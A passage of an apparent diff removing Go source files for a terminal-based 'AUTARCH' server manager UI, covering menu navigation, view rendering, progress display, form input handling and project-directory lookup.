|
||||||
sectionKeys []string
|
|
||||||
|
|
||||||
// Settings
|
|
||||||
settingsSections []string
|
|
||||||
settingsSection string
|
|
||||||
settingsKeys []string
|
|
||||||
settingsVals []string
|
|
||||||
|
|
||||||
// Text input
|
|
||||||
textInput textinput.Model
|
|
||||||
inputLabel string
|
|
||||||
inputField string
|
|
||||||
inputs []textinput.Model
|
|
||||||
labels []string
|
|
||||||
focusIdx int
|
|
||||||
|
|
||||||
// Result / output
|
|
||||||
resultTitle string
|
|
||||||
resultLines []string
|
|
||||||
resultIsErr bool
|
|
||||||
outputLines []string
|
|
||||||
outputDone bool
|
|
||||||
outputCh chan tea.Msg
|
|
||||||
progressStep int
|
|
||||||
progressTotal int
|
|
||||||
progressLabel string
|
|
||||||
|
|
||||||
// Confirm
|
|
||||||
confirmPrompt string
|
|
||||||
confirmAction func() tea.Cmd
|
|
||||||
|
|
||||||
// Config path
|
|
||||||
autarchDir string
|
|
||||||
}
|
|
||||||
|
|
||||||
type ListItem struct {
|
|
||||||
Name string
|
|
||||||
Status string
|
|
||||||
Enabled bool
|
|
||||||
Extra string
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewApp() App {
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 256
|
|
||||||
|
|
||||||
app := App{
|
|
||||||
view: ViewMain,
|
|
||||||
autarchDir: findAutarchDir(),
|
|
||||||
textInput: ti,
|
|
||||||
mainMenu: []MenuItem{
|
|
||||||
{Key: "1", Label: "Deploy AUTARCH", Desc: "Clone from GitHub, setup dirs, venv, deps, permissions, systemd", View: ViewDeploy},
|
|
||||||
{Key: "2", Label: "Dependencies", Desc: "Install & manage system packages, Python venv, pip, npm", View: ViewDeps},
|
|
||||||
{Key: "3", Label: "Modules", Desc: "List, enable, or disable AUTARCH Python modules", View: ViewModules},
|
|
||||||
{Key: "4", Label: "Settings", Desc: "Edit autarch_settings.conf (all 14+ sections)", View: ViewSettings},
|
|
||||||
{Key: "5", Label: "Users", Desc: "Create users, reset passwords, manage web credentials", View: ViewUsers},
|
|
||||||
{Key: "6", Label: "Services", Desc: "Start, stop, restart AUTARCH web & background daemons", View: ViewService},
|
|
||||||
{Key: "7", Label: "DNS Server", Desc: "Build, configure, and manage the AUTARCH DNS server", View: ViewDNS},
|
|
||||||
{Key: "q", Label: "Quit", Desc: "Exit the server manager", View: ViewMain},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
return app
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) Init() tea.Cmd {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// waitForOutput returns a Cmd that reads the next message from the output channel.
|
|
||||||
// This creates the streaming chain: OutputLineMsg → waitForOutput → OutputLineMsg → ...
|
|
||||||
func (a App) waitForOutput() tea.Cmd {
|
|
||||||
ch := a.outputCh
|
|
||||||
if ch == nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return func() tea.Msg {
|
|
||||||
msg, ok := <-ch
|
|
||||||
if !ok {
|
|
||||||
return DoneMsg{}
|
|
||||||
}
|
|
||||||
return msg
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Update ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|
||||||
switch msg := msg.(type) {
|
|
||||||
|
|
||||||
case tea.WindowSizeMsg:
|
|
||||||
a.width = msg.Width
|
|
||||||
a.height = msg.Height
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case ResultMsg:
|
|
||||||
a.pushView(ViewResult)
|
|
||||||
a.resultTitle = msg.Title
|
|
||||||
a.resultLines = msg.Lines
|
|
||||||
a.resultIsErr = msg.IsError
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case OutputLineMsg:
|
|
||||||
a.outputLines = append(a.outputLines, string(msg))
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
|
|
||||||
case ProgressMsg:
|
|
||||||
a.progressStep = msg.Step
|
|
||||||
a.progressTotal = msg.Total
|
|
||||||
a.progressLabel = msg.Label
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
|
|
||||||
case DoneMsg:
|
|
||||||
a.outputDone = true
|
|
||||||
a.outputCh = nil
|
|
||||||
if msg.Err != nil {
|
|
||||||
a.outputLines = append(a.outputLines, "", styleError.Render("Error: "+msg.Err.Error()))
|
|
||||||
}
|
|
||||||
a.outputLines = append(a.outputLines, "", styleDim.Render("Press any key to continue..."))
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case depsLoadedMsg:
|
|
||||||
a.listItems = msg.items
|
|
||||||
return a, nil
|
|
||||||
case modulesLoadedMsg:
|
|
||||||
a.listItems = msg.items
|
|
||||||
return a, nil
|
|
||||||
case settingsLoadedMsg:
|
|
||||||
a.settingsSections = msg.sections
|
|
||||||
return a, nil
|
|
||||||
case dnsZonesMsg:
|
|
||||||
a.listItems = msg.items
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case tea.KeyMsg:
|
|
||||||
return a.handleKey(msg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Update text inputs if active
|
|
||||||
if a.isInputView() {
|
|
||||||
return a.updateInputs(msg)
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) isInputView() bool {
|
|
||||||
return a.view == ViewUsersCreate || a.view == ViewUsersReset ||
|
|
||||||
a.view == ViewSettingsEdit || a.view == ViewDNSZoneEdit
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) handleKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|
||||||
key := msg.String()
|
|
||||||
|
|
||||||
// Global keys
|
|
||||||
switch key {
|
|
||||||
case "ctrl+c":
|
|
||||||
return a, tea.Quit
|
|
||||||
}
|
|
||||||
|
|
||||||
// Input views get special handling
|
|
||||||
if a.isInputView() {
|
|
||||||
return a.handleInputKey(msg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Output view (streaming)
|
|
||||||
if a.view == ViewDepsInstall || a.view == ViewDNSBuild {
|
|
||||||
if a.outputDone {
|
|
||||||
a.popView()
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
a.progressLabel = ""
|
|
||||||
// Reload the parent view's data
|
|
||||||
switch a.view {
|
|
||||||
case ViewDeps:
|
|
||||||
return a, a.loadDepsStatus()
|
|
||||||
case ViewDNS:
|
|
||||||
return a, nil
|
|
||||||
case ViewDeploy:
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Result view
|
|
||||||
if a.view == ViewResult {
|
|
||||||
a.popView()
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Confirm view
|
|
||||||
if a.view == ViewConfirm {
|
|
||||||
switch key {
|
|
||||||
case "y", "Y":
|
|
||||||
if a.confirmAction != nil {
|
|
||||||
cmd := a.confirmAction()
|
|
||||||
a.popView()
|
|
||||||
return a, cmd
|
|
||||||
}
|
|
||||||
a.popView()
|
|
||||||
case "n", "N", "esc":
|
|
||||||
a.popView()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// List navigation
|
|
||||||
switch key {
|
|
||||||
case "up", "k":
|
|
||||||
if a.cursor > 0 {
|
|
||||||
a.cursor--
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
case "down", "j":
|
|
||||||
max := a.maxCursor()
|
|
||||||
if a.cursor < max {
|
|
||||||
a.cursor++
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
case "esc":
|
|
||||||
if len(a.viewStack) > 0 {
|
|
||||||
a.popView()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
case "q":
|
|
||||||
if a.view == ViewMain {
|
|
||||||
return a, tea.Quit
|
|
||||||
}
|
|
||||||
if len(a.viewStack) > 0 {
|
|
||||||
a.popView()
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
return a, tea.Quit
|
|
||||||
}
|
|
||||||
|
|
||||||
// View-specific handling
|
|
||||||
switch a.view {
|
|
||||||
case ViewMain:
|
|
||||||
return a.handleMainMenu(key)
|
|
||||||
case ViewDeps:
|
|
||||||
return a.handleDepsMenu(key)
|
|
||||||
case ViewModules:
|
|
||||||
return a.handleModulesMenu(key)
|
|
||||||
case ViewModuleToggle:
|
|
||||||
return a.handleModuleToggle(key)
|
|
||||||
case ViewSettings:
|
|
||||||
return a.handleSettingsMenu(key)
|
|
||||||
case ViewSettingsSection:
|
|
||||||
return a.handleSettingsSection(key)
|
|
||||||
case ViewUsers:
|
|
||||||
return a.handleUsersMenu(key)
|
|
||||||
case ViewService:
|
|
||||||
return a.handleServiceMenu(key)
|
|
||||||
case ViewDeploy:
|
|
||||||
return a.handleDeployMenu(key)
|
|
||||||
case ViewDNS:
|
|
||||||
return a.handleDNSMenu(key)
|
|
||||||
case ViewDNSManage:
|
|
||||||
return a.handleDNSManageMenu(key)
|
|
||||||
case ViewDNSZones:
|
|
||||||
return a.handleDNSZonesMenu(key)
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) maxCursor() int {
|
|
||||||
switch a.view {
|
|
||||||
case ViewMain:
|
|
||||||
return len(a.mainMenu) - 1
|
|
||||||
case ViewModules, ViewModuleToggle:
|
|
||||||
return len(a.listItems) - 1
|
|
||||||
case ViewSettings:
|
|
||||||
return len(a.settingsSections) - 1
|
|
||||||
case ViewSettingsSection:
|
|
||||||
return len(a.settingsKeys) - 1
|
|
||||||
case ViewDNSZones:
|
|
||||||
return len(a.listItems) - 1
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Navigation ──────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a *App) pushView(v ViewID) {
|
|
||||||
a.viewStack = append(a.viewStack, a.view)
|
|
||||||
a.view = v
|
|
||||||
a.cursor = 0
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a *App) popView() {
|
|
||||||
if len(a.viewStack) > 0 {
|
|
||||||
a.view = a.viewStack[len(a.viewStack)-1]
|
|
||||||
a.viewStack = a.viewStack[:len(a.viewStack)-1]
|
|
||||||
a.cursor = 0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── View Rendering ──────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) View() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(a.renderBanner())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
switch a.view {
|
|
||||||
case ViewMain:
|
|
||||||
b.WriteString(a.renderMainMenu())
|
|
||||||
case ViewDeploy:
|
|
||||||
b.WriteString(a.renderDeployMenu())
|
|
||||||
case ViewDeps:
|
|
||||||
b.WriteString(a.renderDepsMenu())
|
|
||||||
case ViewDepsInstall:
|
|
||||||
b.WriteString(a.renderOutput("Installing Dependencies"))
|
|
||||||
case ViewModules:
|
|
||||||
b.WriteString(a.renderModulesList())
|
|
||||||
case ViewModuleToggle:
|
|
||||||
b.WriteString(a.renderModulesList())
|
|
||||||
case ViewSettings:
|
|
||||||
b.WriteString(a.renderSettingsSections())
|
|
||||||
case ViewSettingsSection:
|
|
||||||
b.WriteString(a.renderSettingsKeys())
|
|
||||||
case ViewSettingsEdit:
|
|
||||||
b.WriteString(a.renderSettingsEditForm())
|
|
||||||
case ViewUsers:
|
|
||||||
b.WriteString(a.renderUsersMenu())
|
|
||||||
case ViewUsersCreate:
|
|
||||||
b.WriteString(a.renderUserForm("Create New User"))
|
|
||||||
case ViewUsersReset:
|
|
||||||
b.WriteString(a.renderUserForm("Reset Password"))
|
|
||||||
case ViewService:
|
|
||||||
b.WriteString(a.renderServiceMenu())
|
|
||||||
case ViewDNS:
|
|
||||||
b.WriteString(a.renderDNSMenu())
|
|
||||||
case ViewDNSBuild:
|
|
||||||
b.WriteString(a.renderOutput("Building DNS Server"))
|
|
||||||
case ViewDNSManage:
|
|
||||||
b.WriteString(a.renderDNSManageMenu())
|
|
||||||
case ViewDNSZones:
|
|
||||||
b.WriteString(a.renderDNSZones())
|
|
||||||
case ViewDNSZoneEdit:
|
|
||||||
b.WriteString(a.renderDNSZoneForm())
|
|
||||||
case ViewConfirm:
|
|
||||||
b.WriteString(a.renderConfirm())
|
|
||||||
case ViewResult:
|
|
||||||
b.WriteString(a.renderResult())
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderStatusBar())
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Banner ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderBanner() string {
|
|
||||||
banner := `
|
|
||||||
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
|
|
||||||
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
|
|
||||||
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
|
|
||||||
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
|
|
||||||
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
|
|
||||||
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
|
|
||||||
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
|
|
||||||
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
|
|
||||||
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░`
|
|
||||||
|
|
||||||
title := lipgloss.NewStyle().
|
|
||||||
Foreground(colorCyan).
|
|
||||||
Bold(true).
|
|
||||||
Align(lipgloss.Center).
|
|
||||||
Render("S E R V E R M A N A G E R v1.0")
|
|
||||||
|
|
||||||
sub := styleDim.Render(" darkHal Security Group & Setec Security Labs")
|
|
||||||
|
|
||||||
// Live service status bar
|
|
||||||
statusLine := a.renderServiceStatusBar()
|
|
||||||
|
|
||||||
return styleBanner.Render(banner) + "\n" + title + "\n" + sub + "\n" + statusLine + "\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) renderServiceStatusBar() string {
|
|
||||||
webStatus, webUp := getProcessStatus("autarch-web", "autarch_web.py")
|
|
||||||
dnsStatus, dnsUp := getProcessStatus("autarch-dns", "autarch-dns")
|
|
||||||
|
|
||||||
webInd := styleStatusBad.Render("○")
|
|
||||||
if webUp {
|
|
||||||
webInd = styleStatusOK.Render("●")
|
|
||||||
}
|
|
||||||
dnsInd := styleStatusBad.Render("○")
|
|
||||||
if dnsUp {
|
|
||||||
dnsInd = styleStatusOK.Render("●")
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = webStatus
|
|
||||||
_ = dnsStatus
|
|
||||||
|
|
||||||
return styleDim.Render(" ") +
|
|
||||||
webInd + styleDim.Render(" Web ") +
|
|
||||||
dnsInd + styleDim.Render(" DNS")
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) renderHR() string {
|
|
||||||
w := a.width
|
|
||||||
if w < 10 {
|
|
||||||
w = 66
|
|
||||||
}
|
|
||||||
if w > 80 {
|
|
||||||
w = 80
|
|
||||||
}
|
|
||||||
return styleHR.Render(strings.Repeat("─", w-4)) + "\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Main Menu ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderMainMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("MAIN MENU"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for i, item := range a.mainMenu {
|
|
||||||
cursor := " "
|
|
||||||
if i == a.cursor {
|
|
||||||
cursor = styleSelected.Render("▸ ")
|
|
||||||
label := styleKey.Render("["+item.Key+"]") + " " +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(item.Label)
|
|
||||||
desc := styleDim.Render(" " + item.Desc)
|
|
||||||
b.WriteString(cursor + label + "\n")
|
|
||||||
b.WriteString(" " + desc + "\n")
|
|
||||||
} else {
|
|
||||||
label := styleDim.Render("["+item.Key+"]") + " " +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Render(item.Label)
|
|
||||||
b.WriteString(cursor + " " + label + "\n")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Confirm ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderConfirm() string {
|
|
||||||
var b strings.Builder
|
|
||||||
b.WriteString(styleTitle.Render("CONFIRM"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleWarning.Render(" " + a.confirmPrompt))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
b.WriteString(styleDim.Render(" [Y] Yes [N] No"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Result ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderResult() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
title := a.resultTitle
|
|
||||||
if a.resultIsErr {
|
|
||||||
b.WriteString(styleError.Render(" " + title))
|
|
||||||
} else {
|
|
||||||
b.WriteString(styleSuccess.Render(" " + title))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for _, line := range a.resultLines {
|
|
||||||
b.WriteString(" " + line + "\n")
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" Press any key to continue..."))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Streaming Output ────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderOutput(title string) string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render(title))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
|
|
||||||
// Progress bar
|
|
||||||
if a.progressTotal > 0 && !a.outputDone {
|
|
||||||
pct := float64(a.progressStep) / float64(a.progressTotal)
|
|
||||||
barWidth := 40
|
|
||||||
filled := int(pct * float64(barWidth))
|
|
||||||
if filled > barWidth {
|
|
||||||
filled = barWidth
|
|
||||||
}
|
|
||||||
bar := strings.Repeat("█", filled) + strings.Repeat("░", barWidth-filled)
|
|
||||||
pctStr := fmt.Sprintf("%3.0f%%", pct*100)
|
|
||||||
|
|
||||||
b.WriteString(" " + styleKey.Render("["+bar+"]") + " " +
|
|
||||||
styleWarning.Render(pctStr) + " " +
|
|
||||||
styleDim.Render(fmt.Sprintf("Step %d/%d: %s", a.progressStep, a.progressTotal, a.progressLabel)))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Show last N lines that fit the screen
|
|
||||||
maxLines := a.height - 22
|
|
||||||
if maxLines < 10 {
|
|
||||||
maxLines = 20
|
|
||||||
}
|
|
||||||
start := 0
|
|
||||||
if len(a.outputLines) > maxLines {
|
|
||||||
start = len(a.outputLines) - maxLines
|
|
||||||
}
|
|
||||||
for _, line := range a.outputLines[start:] {
|
|
||||||
b.WriteString(" " + line + "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !a.outputDone {
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" Working..."))
|
|
||||||
}
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Status Bar ──────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderStatusBar() string {
|
|
||||||
nav := styleDim.Render(" ↑↓ navigate")
|
|
||||||
esc := styleDim.Render(" esc back")
|
|
||||||
quit := styleDim.Render(" q quit")
|
|
||||||
|
|
||||||
path := ""
|
|
||||||
for _, v := range a.viewStack {
|
|
||||||
path += viewName(v) + " > "
|
|
||||||
}
|
|
||||||
path += viewName(a.view)
|
|
||||||
|
|
||||||
left := styleDim.Render(" " + path)
|
|
||||||
right := nav + esc + quit
|
|
||||||
|
|
||||||
gap := a.width - lipgloss.Width(left) - lipgloss.Width(right)
|
|
||||||
if gap < 1 {
|
|
||||||
gap = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
return "\n" + styleHR.Render(strings.Repeat("─", clamp(a.width-4, 20, 80))) + "\n" +
|
|
||||||
left + strings.Repeat(" ", gap) + right + "\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
func viewName(v ViewID) string {
|
|
||||||
names := map[ViewID]string{
|
|
||||||
ViewMain: "Main",
|
|
||||||
ViewDeps: "Dependencies",
|
|
||||||
ViewDepsInstall: "Install",
|
|
||||||
ViewModules: "Modules",
|
|
||||||
ViewModuleToggle: "Toggle",
|
|
||||||
ViewSettings: "Settings",
|
|
||||||
ViewSettingsSection: "Section",
|
|
||||||
ViewSettingsEdit: "Edit",
|
|
||||||
ViewUsers: "Users",
|
|
||||||
ViewUsersCreate: "Create",
|
|
||||||
ViewUsersReset: "Reset",
|
|
||||||
ViewService: "Services",
|
|
||||||
ViewDNS: "DNS",
|
|
||||||
ViewDNSBuild: "Build",
|
|
||||||
ViewDNSManage: "Manage",
|
|
||||||
ViewDNSZones: "Zones",
|
|
||||||
ViewDeploy: "Deploy",
|
|
||||||
ViewDNSZoneEdit: "Edit Zone",
|
|
||||||
ViewConfirm: "Confirm",
|
|
||||||
ViewResult: "Result",
|
|
||||||
}
|
|
||||||
if n, ok := names[v]; ok {
|
|
||||||
return n
|
|
||||||
}
|
|
||||||
return "?"
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── User Form Rendering ─────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderUserForm(title string) string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render(title))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for i, label := range a.labels {
|
|
||||||
prefix := " "
|
|
||||||
if i == a.focusIdx {
|
|
||||||
prefix = styleSelected.Render("▸ ")
|
|
||||||
}
|
|
||||||
b.WriteString(prefix + styleDim.Render(label+": "))
|
|
||||||
b.WriteString(a.inputs[i].View())
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" tab next field | enter submit | esc cancel"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Settings Edit Form ──────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderSettingsEditForm() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render(fmt.Sprintf("Edit [%s]", a.settingsSection)))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for i, label := range a.labels {
|
|
||||||
prefix := " "
|
|
||||||
if i == a.focusIdx {
|
|
||||||
prefix = styleSelected.Render("▸ ")
|
|
||||||
}
|
|
||||||
b.WriteString(prefix + styleKey.Render(label) + " = ")
|
|
||||||
b.WriteString(a.inputs[i].View())
|
|
||||||
b.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" tab next | enter save all | esc cancel"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS Zone Form ───────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderDNSZoneForm() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("Create DNS Zone"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for i, label := range a.labels {
|
|
||||||
prefix := " "
|
|
||||||
if i == a.focusIdx {
|
|
||||||
prefix = styleSelected.Render("▸ ")
|
|
||||||
}
|
|
||||||
b.WriteString(prefix + styleDim.Render(label+": "))
|
|
||||||
b.WriteString(a.inputs[i].View())
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" tab next field | enter submit | esc cancel"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Helpers ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func clamp(v, lo, hi int) int {
|
|
||||||
if v < lo {
|
|
||||||
return lo
|
|
||||||
}
|
|
||||||
if v > hi {
|
|
||||||
return hi
|
|
||||||
}
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
@ -1,48 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
// findAutarchDir walks up from the server-manager binary location to find
|
|
||||||
// the AUTARCH project root (identified by autarch_settings.conf).
|
|
||||||
func findAutarchDir() string {
|
|
||||||
// Try well-known paths first
|
|
||||||
candidates := []string{
|
|
||||||
"/opt/autarch",
|
|
||||||
"/srv/autarch",
|
|
||||||
"/home/autarch",
|
|
||||||
}
|
|
||||||
|
|
||||||
// Also try relative to the executable
|
|
||||||
exe, err := os.Executable()
|
|
||||||
if err == nil {
|
|
||||||
dir := filepath.Dir(exe)
|
|
||||||
// services/server-manager/ → ../../
|
|
||||||
candidates = append([]string{
|
|
||||||
filepath.Join(dir, "..", ".."),
|
|
||||||
filepath.Join(dir, ".."),
|
|
||||||
dir,
|
|
||||||
}, candidates...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Also check cwd
|
|
||||||
if cwd, err := os.Getwd(); err == nil {
|
|
||||||
candidates = append([]string{cwd, filepath.Join(cwd, "..", "..")}, candidates...)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, c := range candidates {
|
|
||||||
abs, err := filepath.Abs(c)
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
conf := filepath.Join(abs, "autarch_settings.conf")
|
|
||||||
if _, err := os.Stat(conf); err == nil {
|
|
||||||
return abs
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fallback
|
|
||||||
return "/opt/autarch"
|
|
||||||
}
|
|
||||||
@ -1,99 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Input View Handling ─────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleInputKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|
||||||
key := msg.String()
|
|
||||||
|
|
||||||
switch key {
|
|
||||||
case "esc":
|
|
||||||
a.popView()
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case "tab", "shift+tab":
|
|
||||||
// Cycle focus
|
|
||||||
if key == "tab" {
|
|
||||||
a.focusIdx = (a.focusIdx + 1) % len(a.inputs)
|
|
||||||
} else {
|
|
||||||
a.focusIdx = (a.focusIdx - 1 + len(a.inputs)) % len(a.inputs)
|
|
||||||
}
|
|
||||||
for i := range a.inputs {
|
|
||||||
if i == a.focusIdx {
|
|
||||||
a.inputs[i].Focus()
|
|
||||||
} else {
|
|
||||||
a.inputs[i].Blur()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
|
|
||||||
case "enter":
|
|
||||||
// If not on last field, advance
|
|
||||||
if a.focusIdx < len(a.inputs)-1 {
|
|
||||||
a.focusIdx++
|
|
||||||
for i := range a.inputs {
|
|
||||||
if i == a.focusIdx {
|
|
||||||
a.inputs[i].Focus()
|
|
||||||
} else {
|
|
||||||
a.inputs[i].Blur()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Submit
|
|
||||||
switch a.view {
|
|
||||||
case ViewUsersCreate:
|
|
||||||
return a.submitUserCreate()
|
|
||||||
case ViewUsersReset:
|
|
||||||
return a.submitUserReset()
|
|
||||||
case ViewSettingsEdit:
|
|
||||||
return a.saveSettings()
|
|
||||||
case ViewDNSZoneEdit:
|
|
||||||
return a.submitDNSZone()
|
|
||||||
}
|
|
